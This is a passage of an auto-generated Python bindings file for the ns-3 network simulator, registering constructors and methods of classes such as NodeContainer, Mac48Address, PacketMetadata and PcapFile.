'ns3::Ptr< ns3::Ipv6RoutingProtocol >',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_const=True, is_virtual=True)
## ipv6-static-routing-helper.h (module 'internet'): ns3::Ptr<ns3::Ipv6StaticRouting> ns3::Ipv6StaticRoutingHelper::GetStaticRouting(ns3::Ptr<ns3::Ipv6> ipv6) const [member function]
cls.add_method('GetStaticRouting',
'ns3::Ptr< ns3::Ipv6StaticRouting >',
[param('ns3::Ptr< ns3::Ipv6 >', 'ipv6')],
is_const=True)
## ipv6-static-routing-helper.h (module 'internet'): void ns3::Ipv6StaticRoutingHelper::AddMulticastRoute(ns3::Ptr<ns3::Node> n, ns3::Ipv6Address source, ns3::Ipv6Address group, ns3::Ptr<ns3::NetDevice> input, ns3::NetDeviceContainer output) [member function]
cls.add_method('AddMulticastRoute',
'void',
[param('ns3::Ptr< ns3::Node >', 'n'), param('ns3::Ipv6Address', 'source'), param('ns3::Ipv6Address', 'group'), param('ns3::Ptr< ns3::NetDevice >', 'input'), param('ns3::NetDeviceContainer', 'output')])
## ipv6-static-routing-helper.h (module 'internet'): void ns3::Ipv6StaticRoutingHelper::AddMulticastRoute(std::string n, ns3::Ipv6Address source, ns3::Ipv6Address group, ns3::Ptr<ns3::NetDevice> input, ns3::NetDeviceContainer output) [member function]
cls.add_method('AddMulticastRoute',
'void',
[param('std::string', 'n'), param('ns3::Ipv6Address', 'source'), param('ns3::Ipv6Address', 'group'), param('ns3::Ptr< ns3::NetDevice >', 'input'), param('ns3::NetDeviceContainer', 'output')])
## ipv6-static-routing-helper.h (module 'internet'): void ns3::Ipv6StaticRoutingHelper::AddMulticastRoute(ns3::Ptr<ns3::Node> n, ns3::Ipv6Address source, ns3::Ipv6Address group, std::string inputName, ns3::NetDeviceContainer output) [member function]
cls.add_method('AddMulticastRoute',
'void',
[param('ns3::Ptr< ns3::Node >', 'n'), param('ns3::Ipv6Address', 'source'), param('ns3::Ipv6Address', 'group'), param('std::string', 'inputName'), param('ns3::NetDeviceContainer', 'output')])
## ipv6-static-routing-helper.h (module 'internet'): void ns3::Ipv6StaticRoutingHelper::AddMulticastRoute(std::string nName, ns3::Ipv6Address source, ns3::Ipv6Address group, std::string inputName, ns3::NetDeviceContainer output) [member function]
cls.add_method('AddMulticastRoute',
'void',
[param('std::string', 'nName'), param('ns3::Ipv6Address', 'source'), param('ns3::Ipv6Address', 'group'), param('std::string', 'inputName'), param('ns3::NetDeviceContainer', 'output')])
return
def register_Ns3Mac48Address_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_binary_comparison_operator('<')
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
## mac48-address.h (module 'network'): ns3::Mac48Address::Mac48Address(ns3::Mac48Address const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Mac48Address const &', 'arg0')])
## mac48-address.h (module 'network'): ns3::Mac48Address::Mac48Address() [constructor]
cls.add_constructor([])
## mac48-address.h (module 'network'): ns3::Mac48Address::Mac48Address(char const * str) [constructor]
cls.add_constructor([param('char const *', 'str')])
## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::Allocate() [member function]
cls.add_method('Allocate',
'ns3::Mac48Address',
[],
is_static=True)
## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::ConvertFrom(ns3::Address const & address) [member function]
cls.add_method('ConvertFrom',
'ns3::Mac48Address',
[param('ns3::Address const &', 'address')],
is_static=True)
## mac48-address.h (module 'network'): void ns3::Mac48Address::CopyFrom(uint8_t const * buffer) [member function]
cls.add_method('CopyFrom',
'void',
[param('uint8_t const *', 'buffer')])
## mac48-address.h (module 'network'): void ns3::Mac48Address::CopyTo(uint8_t * buffer) const [member function]
cls.add_method('CopyTo',
'void',
[param('uint8_t *', 'buffer')],
is_const=True)
## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetBroadcast() [member function]
cls.add_method('GetBroadcast',
'ns3::Mac48Address',
[],
is_static=True)
## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetMulticast(ns3::Ipv4Address address) [member function]
cls.add_method('GetMulticast',
'ns3::Mac48Address',
[param('ns3::Ipv4Address', 'address')],
is_static=True)
## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetMulticast(ns3::Ipv6Address address) [member function]
cls.add_method('GetMulticast',
'ns3::Mac48Address',
[param('ns3::Ipv6Address', 'address')],
is_static=True)
## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetMulticast6Prefix() [member function]
cls.add_method('GetMulticast6Prefix',
'ns3::Mac48Address',
[],
is_static=True)
## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetMulticastPrefix() [member function]
cls.add_method('GetMulticastPrefix',
'ns3::Mac48Address',
[],
is_static=True)
## mac48-address.h (module 'network'): bool ns3::Mac48Address::IsBroadcast() const [member function]
cls.add_method('IsBroadcast',
'bool',
[],
is_const=True)
## mac48-address.h (module 'network'): bool ns3::Mac48Address::IsGroup() const [member function]
cls.add_method('IsGroup',
'bool',
[],
is_const=True)
## mac48-address.h (module 'network'): static bool ns3::Mac48Address::IsMatchingType(ns3::Address const & address) [member function]
cls.add_method('IsMatchingType',
'bool',
[param('ns3::Address const &', 'address')],
is_static=True)
return
def register_Ns3NetDeviceContainer_methods(root_module, cls):
## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer(ns3::NetDeviceContainer const & arg0) [copy constructor]
cls.add_constructor([param('ns3::NetDeviceContainer const &', 'arg0')])
## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer() [constructor]
cls.add_constructor([])
## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer(ns3::Ptr<ns3::NetDevice> dev) [constructor]
cls.add_constructor([param('ns3::Ptr< ns3::NetDevice >', 'dev')])
## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer(std::string devName) [constructor]
cls.add_constructor([param('std::string', 'devName')])
## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer(ns3::NetDeviceContainer const & a, ns3::NetDeviceContainer const & b) [constructor]
cls.add_constructor([param('ns3::NetDeviceContainer const &', 'a'), param('ns3::NetDeviceContainer const &', 'b')])
## net-device-container.h (module 'network'): void ns3::NetDeviceContainer::Add(ns3::NetDeviceContainer other) [member function]
cls.add_method('Add',
'void',
[param('ns3::NetDeviceContainer', 'other')])
## net-device-container.h (module 'network'): void ns3::NetDeviceContainer::Add(ns3::Ptr<ns3::NetDevice> device) [member function]
cls.add_method('Add',
'void',
[param('ns3::Ptr< ns3::NetDevice >', 'device')])
## net-device-container.h (module 'network'): void ns3::NetDeviceContainer::Add(std::string deviceName) [member function]
cls.add_method('Add',
'void',
[param('std::string', 'deviceName')])
## net-device-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::NetDevice>*,std::vector<ns3::Ptr<ns3::NetDevice>, std::allocator<ns3::Ptr<ns3::NetDevice> > > > ns3::NetDeviceContainer::Begin() const [member function]
cls.add_method('Begin',
'__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::NetDevice > const, std::vector< ns3::Ptr< ns3::NetDevice > > >',
[],
is_const=True)
## net-device-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::NetDevice>*,std::vector<ns3::Ptr<ns3::NetDevice>, std::allocator<ns3::Ptr<ns3::NetDevice> > > > ns3::NetDeviceContainer::End() const [member function]
cls.add_method('End',
'__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::NetDevice > const, std::vector< ns3::Ptr< ns3::NetDevice > > >',
[],
is_const=True)
## net-device-container.h (module 'network'): ns3::Ptr<ns3::NetDevice> ns3::NetDeviceContainer::Get(uint32_t i) const [member function]
cls.add_method('Get',
'ns3::Ptr< ns3::NetDevice >',
[param('uint32_t', 'i')],
is_const=True)
## net-device-container.h (module 'network'): uint32_t ns3::NetDeviceContainer::GetN() const [member function]
cls.add_method('GetN',
'uint32_t',
[],
is_const=True)
return
def register_Ns3NodeContainer_methods(root_module, cls):
## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & arg0) [copy constructor]
cls.add_constructor([param('ns3::NodeContainer const &', 'arg0')])
## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer() [constructor]
cls.add_constructor([])
## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::Ptr<ns3::Node> node) [constructor]
cls.add_constructor([param('ns3::Ptr< ns3::Node >', 'node')])
## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(std::string nodeName) [constructor]
cls.add_constructor([param('std::string', 'nodeName')])
## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b) [constructor]
cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b')])
## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b, ns3::NodeContainer const & c) [constructor]
cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b'), param('ns3::NodeContainer const &', 'c')])
## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b, ns3::NodeContainer const & c, ns3::NodeContainer const & d) [constructor]
cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b'), param('ns3::NodeContainer const &', 'c'), param('ns3::NodeContainer const &', 'd')])
## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b, ns3::NodeContainer const & c, ns3::NodeContainer const & d, ns3::NodeContainer const & e) [constructor]
cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b'), param('ns3::NodeContainer const &', 'c'), param('ns3::NodeContainer const &', 'd'), param('ns3::NodeContainer const &', 'e')])
## node-container.h (module 'network'): void ns3::NodeContainer::Add(ns3::NodeContainer other) [member function]
cls.add_method('Add',
'void',
[param('ns3::NodeContainer', 'other')])
## node-container.h (module 'network'): void ns3::NodeContainer::Add(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('Add',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')])
## node-container.h (module 'network'): void ns3::NodeContainer::Add(std::string nodeName) [member function]
cls.add_method('Add',
'void',
[param('std::string', 'nodeName')])
## node-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::Node>*,std::vector<ns3::Ptr<ns3::Node>, std::allocator<ns3::Ptr<ns3::Node> > > > ns3::NodeContainer::Begin() const [member function]
cls.add_method('Begin',
'__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::Node > const, std::vector< ns3::Ptr< ns3::Node > > >',
[],
is_const=True)
## node-container.h (module 'network'): void ns3::NodeContainer::Create(uint32_t n) [member function]
cls.add_method('Create',
'void',
[param('uint32_t', 'n')])
## node-container.h (module 'network'): void ns3::NodeContainer::Create(uint32_t n, uint32_t systemId) [member function]
cls.add_method('Create',
'void',
[param('uint32_t', 'n'), param('uint32_t', 'systemId')])
## node-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::Node>*,std::vector<ns3::Ptr<ns3::Node>, std::allocator<ns3::Ptr<ns3::Node> > > > ns3::NodeContainer::End() const [member function]
cls.add_method('End',
'__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::Node > const, std::vector< ns3::Ptr< ns3::Node > > >',
[],
is_const=True)
## node-container.h (module 'network'): ns3::Ptr<ns3::Node> ns3::NodeContainer::Get(uint32_t i) const [member function]
cls.add_method('Get',
'ns3::Ptr< ns3::Node >',
[param('uint32_t', 'i')],
is_const=True)
## node-container.h (module 'network'): static ns3::NodeContainer ns3::NodeContainer::GetGlobal() [member function]
cls.add_method('GetGlobal',
'ns3::NodeContainer',
[],
is_static=True)
## node-container.h (module 'network'): uint32_t ns3::NodeContainer::GetN() const [member function]
cls.add_method('GetN',
'uint32_t',
[],
is_const=True)
return
def register_Ns3ObjectBase_methods(root_module, cls):
## object-base.h (module 'core'): ns3::ObjectBase::ObjectBase() [constructor]
cls.add_constructor([])
## object-base.h (module 'core'): ns3::ObjectBase::ObjectBase(ns3::ObjectBase const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ObjectBase const &', 'arg0')])
## object-base.h (module 'core'): void ns3::ObjectBase::GetAttribute(std::string name, ns3::AttributeValue & value) const [member function]
cls.add_method('GetAttribute',
'void',
[param('std::string', 'name'), param('ns3::AttributeValue &', 'value')],
is_const=True)
## object-base.h (module 'core'): bool ns3::ObjectBase::GetAttributeFailSafe(std::string name, ns3::AttributeValue & attribute) const [member function]
cls.add_method('GetAttributeFailSafe',
'bool',
[param('std::string', 'name'), param('ns3::AttributeValue &', 'attribute')],
is_const=True)
## object-base.h (module 'core'): ns3::TypeId ns3::ObjectBase::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## object-base.h (module 'core'): static ns3::TypeId ns3::ObjectBase::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## object-base.h (module 'core'): void ns3::ObjectBase::SetAttribute(std::string name, ns3::AttributeValue const & value) [member function]
cls.add_method('SetAttribute',
'void',
[param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')])
## object-base.h (module 'core'): bool ns3::ObjectBase::SetAttributeFailSafe(std::string name, ns3::AttributeValue const & value) [member function]
cls.add_method('SetAttributeFailSafe',
'bool',
[param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')])
## object-base.h (module 'core'): bool ns3::ObjectBase::TraceConnect(std::string name, std::string context, ns3::CallbackBase const & cb) [member function]
cls.add_method('TraceConnect',
'bool',
[param('std::string', 'name'), param('std::string', 'context'), param('ns3::CallbackBase const &', 'cb')])
## object-base.h (module 'core'): bool ns3::ObjectBase::TraceConnectWithoutContext(std::string name, ns3::CallbackBase const & cb) [member function]
cls.add_method('TraceConnectWithoutContext',
'bool',
[param('std::string', 'name'), param('ns3::CallbackBase const &', 'cb')])
## object-base.h (module 'core'): bool ns3::ObjectBase::TraceDisconnect(std::string name, std::string context, ns3::CallbackBase const & cb) [member function]
cls.add_method('TraceDisconnect',
'bool',
[param('std::string', 'name'), param('std::string', 'context'), param('ns3::CallbackBase const &', 'cb')])
## object-base.h (module 'core'): bool ns3::ObjectBase::TraceDisconnectWithoutContext(std::string name, ns3::CallbackBase const & cb) [member function]
cls.add_method('TraceDisconnectWithoutContext',
'bool',
[param('std::string', 'name'), param('ns3::CallbackBase const &', 'cb')])
## object-base.h (module 'core'): void ns3::ObjectBase::ConstructSelf(ns3::AttributeConstructionList const & attributes) [member function]
cls.add_method('ConstructSelf',
'void',
[param('ns3::AttributeConstructionList const &', 'attributes')],
visibility='protected')
## object-base.h (module 'core'): void ns3::ObjectBase::NotifyConstructionCompleted() [member function]
cls.add_method('NotifyConstructionCompleted',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3ObjectDeleter_methods(root_module, cls):
## object.h (module 'core'): ns3::ObjectDeleter::ObjectDeleter() [constructor]
cls.add_constructor([])
## object.h (module 'core'): ns3::ObjectDeleter::ObjectDeleter(ns3::ObjectDeleter const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ObjectDeleter const &', 'arg0')])
## object.h (module 'core'): static void ns3::ObjectDeleter::Delete(ns3::Object * object) [member function]
cls.add_method('Delete',
'void',
[param('ns3::Object *', 'object')],
is_static=True)
return
def register_Ns3ObjectFactory_methods(root_module, cls):
cls.add_output_stream_operator()
## object-factory.h (module 'core'): ns3::ObjectFactory::ObjectFactory(ns3::ObjectFactory const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ObjectFactory const &', 'arg0')])
## object-factory.h (module 'core'): ns3::ObjectFactory::ObjectFactory() [constructor]
cls.add_constructor([])
## object-factory.h (module 'core'): ns3::ObjectFactory::ObjectFactory(std::string typeId) [constructor]
cls.add_constructor([param('std::string', 'typeId')])
## object-factory.h (module 'core'): ns3::Ptr<ns3::Object> ns3::ObjectFactory::Create() const [member function]
cls.add_method('Create',
'ns3::Ptr< ns3::Object >',
[],
is_const=True)
## object-factory.h (module 'core'): ns3::TypeId ns3::ObjectFactory::GetTypeId() const [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_const=True)
## object-factory.h (module 'core'): void ns3::ObjectFactory::Set(std::string name, ns3::AttributeValue const & value) [member function]
cls.add_method('Set',
'void',
[param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')])
## object-factory.h (module 'core'): void ns3::ObjectFactory::SetTypeId(ns3::TypeId tid) [member function]
cls.add_method('SetTypeId',
'void',
[param('ns3::TypeId', 'tid')])
## object-factory.h (module 'core'): void ns3::ObjectFactory::SetTypeId(char const * tid) [member function]
cls.add_method('SetTypeId',
'void',
[param('char const *', 'tid')])
## object-factory.h (module 'core'): void ns3::ObjectFactory::SetTypeId(std::string tid) [member function]
cls.add_method('SetTypeId',
'void',
[param('std::string', 'tid')])
return
def register_Ns3OptionField_methods(root_module, cls):
## ipv6-extension-header.h (module 'internet'): ns3::OptionField::OptionField(ns3::OptionField const & arg0) [copy constructor]
cls.add_constructor([param('ns3::OptionField const &', 'arg0')])
## ipv6-extension-header.h (module 'internet'): ns3::OptionField::OptionField(uint32_t optionsOffset) [constructor]
cls.add_constructor([param('uint32_t', 'optionsOffset')])
## ipv6-extension-header.h (module 'internet'): void ns3::OptionField::AddOption(ns3::Ipv6OptionHeader const & option) [member function]
cls.add_method('AddOption',
'void',
[param('ns3::Ipv6OptionHeader const &', 'option')])
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::OptionField::Deserialize(ns3::Buffer::Iterator start, uint32_t length) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start'), param('uint32_t', 'length')])
## ipv6-extension-header.h (module 'internet'): ns3::Buffer ns3::OptionField::GetOptionBuffer() [member function]
cls.add_method('GetOptionBuffer',
'ns3::Buffer',
[])
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::OptionField::GetOptionsOffset() [member function]
cls.add_method('GetOptionsOffset',
'uint32_t',
[])
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::OptionField::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True)
## ipv6-extension-header.h (module 'internet'): void ns3::OptionField::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True)
return
def register_Ns3PacketMetadata_methods(root_module, cls):
## packet-metadata.h (module 'network'): ns3::PacketMetadata::PacketMetadata(uint64_t uid, uint32_t size) [constructor]
cls.add_constructor([param('uint64_t', 'uid'), param('uint32_t', 'size')])
## packet-metadata.h (module 'network'): ns3::PacketMetadata::PacketMetadata(ns3::PacketMetadata const & o) [copy constructor]
cls.add_constructor([param('ns3::PacketMetadata const &', 'o')])
## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddAtEnd(ns3::PacketMetadata const & o) [member function]
cls.add_method('AddAtEnd',
'void',
[param('ns3::PacketMetadata const &', 'o')])
## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddHeader(ns3::Header const & header, uint32_t size) [member function]
cls.add_method('AddHeader',
'void',
[param('ns3::Header const &', 'header'), param('uint32_t', 'size')])
## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddPaddingAtEnd(uint32_t end) [member function]
cls.add_method('AddPaddingAtEnd',
'void',
[param('uint32_t', 'end')])
## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddTrailer(ns3::Trailer const & trailer, uint32_t size) [member function]
cls.add_method('AddTrailer',
'void',
[param('ns3::Trailer const &', 'trailer'), param('uint32_t', 'size')])
## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator ns3::PacketMetadata::BeginItem(ns3::Buffer buffer) const [member function]
cls.add_method('BeginItem',
'ns3::PacketMetadata::ItemIterator',
[param('ns3::Buffer', 'buffer')],
is_const=True)
## packet-metadata.h (module 'network'): ns3::PacketMetadata ns3::PacketMetadata::CreateFragment(uint32_t start, uint32_t end) const [member function]
cls.add_method('CreateFragment',
'ns3::PacketMetadata',
[param('uint32_t', 'start'), param('uint32_t', 'end')],
is_const=True)
## packet-metadata.h (module 'network'): uint32_t ns3::PacketMetadata::Deserialize(uint8_t const * buffer, uint32_t size) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('uint8_t const *', 'buffer'), param('uint32_t', 'size')])
## packet-metadata.h (module 'network'): static void ns3::PacketMetadata::Enable() [member function]
cls.add_method('Enable',
'void',
[],
is_static=True)
## packet-metadata.h (module 'network'): static void ns3::PacketMetadata::EnableChecking() [member function]
cls.add_method('EnableChecking',
'void',
[],
is_static=True)
## packet-metadata.h (module 'network'): uint32_t ns3::PacketMetadata::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True)
## packet-metadata.h (module 'network'): uint64_t ns3::PacketMetadata::GetUid() const [member function]
cls.add_method('GetUid',
'uint64_t',
[],
is_const=True)
## packet-metadata.h (module 'network'): void ns3::PacketMetadata::RemoveAtEnd(uint32_t end) [member function]
cls.add_method('RemoveAtEnd',
'void',
[param('uint32_t', 'end')])
## packet-metadata.h (module 'network'): void ns3::PacketMetadata::RemoveAtStart(uint32_t start) [member function]
cls.add_method('RemoveAtStart',
'void',
[param('uint32_t', 'start')])
## packet-metadata.h (module 'network'): void ns3::PacketMetadata::RemoveHeader(ns3::Header const & header, uint32_t size) [member function]
cls.add_method('RemoveHeader',
'void',
[param('ns3::Header const &', 'header'), param('uint32_t', 'size')])
## packet-metadata.h (module 'network'): void ns3::PacketMetadata::RemoveTrailer(ns3::Trailer const & trailer, uint32_t size) [member function]
cls.add_method('RemoveTrailer',
'void',
[param('ns3::Trailer const &', 'trailer'), param('uint32_t', 'size')])
## packet-metadata.h (module 'network'): uint32_t ns3::PacketMetadata::Serialize(uint8_t * buffer, uint32_t maxSize) const [member function]
cls.add_method('Serialize',
'uint32_t',
[param('uint8_t *', 'buffer'), param('uint32_t', 'maxSize')],
is_const=True)
return
def register_Ns3PacketMetadataItem_methods(root_module, cls):
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::Item() [constructor]
cls.add_constructor([])
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::Item(ns3::PacketMetadata::Item const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketMetadata::Item const &', 'arg0')])
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::current [variable]
cls.add_instance_attribute('current', 'ns3::Buffer::Iterator', is_const=False)
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::currentSize [variable]
cls.add_instance_attribute('currentSize', 'uint32_t', is_const=False)
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::currentTrimedFromEnd [variable]
cls.add_instance_attribute('currentTrimedFromEnd', 'uint32_t', is_const=False)
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::currentTrimedFromStart [variable]
cls.add_instance_attribute('currentTrimedFromStart', 'uint32_t', is_const=False)
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::isFragment [variable]
cls.add_instance_attribute('isFragment', 'bool', is_const=False)
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::tid [variable]
cls.add_instance_attribute('tid', 'ns3::TypeId', is_const=False)
return
def register_Ns3PacketMetadataItemIterator_methods(root_module, cls):
## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator::ItemIterator(ns3::PacketMetadata::ItemIterator const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketMetadata::ItemIterator const &', 'arg0')])
## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator::ItemIterator(ns3::PacketMetadata const * metadata, ns3::Buffer buffer) [constructor]
cls.add_constructor([param('ns3::PacketMetadata const *', 'metadata'), param('ns3::Buffer', 'buffer')])
## packet-metadata.h (module 'network'): bool ns3::PacketMetadata::ItemIterator::HasNext() const [member function]
cls.add_method('HasNext',
'bool',
[],
is_const=True)
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item ns3::PacketMetadata::ItemIterator::Next() [member function]
cls.add_method('Next',
'ns3::PacketMetadata::Item',
[])
return
def register_Ns3PacketTagIterator_methods(root_module, cls):
## packet.h (module 'network'): ns3::PacketTagIterator::PacketTagIterator(ns3::PacketTagIterator const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketTagIterator const &', 'arg0')])
## packet.h (module 'network'): bool ns3::PacketTagIterator::HasNext() const [member function]
cls.add_method('HasNext',
'bool',
[],
is_const=True)
## packet.h (module 'network'): ns3::PacketTagIterator::Item ns3::PacketTagIterator::Next() [member function]
cls.add_method('Next',
'ns3::PacketTagIterator::Item',
[])
return
def register_Ns3PacketTagIteratorItem_methods(root_module, cls):
## packet.h (module 'network'): ns3::PacketTagIterator::Item::Item(ns3::PacketTagIterator::Item const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketTagIterator::Item const &', 'arg0')])
## packet.h (module 'network'): void ns3::PacketTagIterator::Item::GetTag(ns3::Tag & tag) const [member function]
cls.add_method('GetTag',
'void',
[param('ns3::Tag &', 'tag')],
is_const=True)
## packet.h (module 'network'): ns3::TypeId ns3::PacketTagIterator::Item::GetTypeId() const [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_const=True)
return
def register_Ns3PacketTagList_methods(root_module, cls):
## packet-tag-list.h (module 'network'): ns3::PacketTagList::PacketTagList() [constructor]
cls.add_constructor([])
## packet-tag-list.h (module 'network'): ns3::PacketTagList::PacketTagList(ns3::PacketTagList const & o) [copy constructor]
cls.add_constructor([param('ns3::PacketTagList const &', 'o')])
## packet-tag-list.h (module 'network'): void ns3::PacketTagList::Add(ns3::Tag const & tag) const [member function]
cls.add_method('Add',
'void',
[param('ns3::Tag const &', 'tag')],
is_const=True)
## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData const * ns3::PacketTagList::Head() const [member function]
cls.add_method('Head',
'ns3::PacketTagList::TagData const *',
[],
is_const=True)
## packet-tag-list.h (module 'network'): bool ns3::PacketTagList::Peek(ns3::Tag & tag) const [member function]
cls.add_method('Peek',
'bool',
[param('ns3::Tag &', 'tag')],
is_const=True)
## packet-tag-list.h (module 'network'): bool ns3::PacketTagList::Remove(ns3::Tag & tag) [member function]
cls.add_method('Remove',
'bool',
[param('ns3::Tag &', 'tag')])
## packet-tag-list.h (module 'network'): void ns3::PacketTagList::RemoveAll() [member function]
cls.add_method('RemoveAll',
'void',
[])
return
def register_Ns3PacketTagListTagData_methods(root_module, cls):
## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::TagData() [constructor]
cls.add_constructor([])
## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::TagData(ns3::PacketTagList::TagData const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketTagList::TagData const &', 'arg0')])
## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::count [variable]
cls.add_instance_attribute('count', 'uint32_t', is_const=False)
## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::data [variable]
cls.add_instance_attribute('data', 'uint8_t [ 20 ]', is_const=False)
## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::next [variable]
cls.add_instance_attribute('next', 'ns3::PacketTagList::TagData *', is_const=False)
## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::tid [variable]
cls.add_instance_attribute('tid', 'ns3::TypeId', is_const=False)
return
def register_Ns3PcapFile_methods(root_module, cls):
## pcap-file.h (module 'network'): ns3::PcapFile::PcapFile() [constructor]
cls.add_constructor([])
## pcap-file.h (module 'network'): void ns3::PcapFile::Clear() [member function]
cls.add_method('Clear',
'void',
[])
## pcap-file.h (module 'network'): void ns3::PcapFile::Close() [member function]
cls.add_method('Close',
'void',
[])
## pcap-file.h (module 'network'): static bool ns3::PcapFile::Diff(std::string const & f1, std::string const & f2, uint32_t & sec, uint32_t & usec, uint32_t snapLen=ns3::PcapFile::SNAPLEN_DEFAULT) [member function]
cls.add_method('Diff',
'bool',
[param('std::string const &', 'f1'), param('std::string const &', 'f2'), param('uint32_t &', 'sec'), param('uint32_t &', 'usec'), param('uint32_t', 'snapLen', default_value='ns3::PcapFile::SNAPLEN_DEFAULT')],
is_static=True)
## pcap-file.h (module 'network'): bool ns3::PcapFile::Eof() const [member function]
cls.add_method('Eof',
'bool',
[],
is_const=True)
## pcap-file.h (module 'network'): bool ns3::PcapFile::Fail() const [member function]
cls.add_method('Fail',
'bool',
[],
is_const=True)
## pcap-file.h (module 'network'): uint32_t ns3::PcapFile::GetDataLinkType() [member function]
cls.add_method('GetDataLinkType',
'uint32_t',
[])
## pcap-file.h (module 'network'): uint32_t ns3::PcapFile::GetMagic() [member function]
cls.add_method('GetMagic',
'uint32_t',
[])
## pcap-file.h (module 'network'): uint32_t ns3::PcapFile::GetSigFigs() [member function]
cls.add_method('GetSigFigs',
'uint32_t',
[])
## pcap-file.h (module 'network'): uint32_t ns3::PcapFile::GetSnapLen() [member function]
cls.add_method('GetSnapLen',
'uint32_t',
[])
## pcap-file.h (module 'network'): bool ns3::PcapFile::GetSwapMode() [member function]
cls.add_method('GetSwapMode',
'bool',
[])
## pcap-file.h (module 'network'): int32_t ns3::PcapFile::GetTimeZoneOffset() [member function]
cls.add_method('GetTimeZoneOffset',
'int32_t',
[])
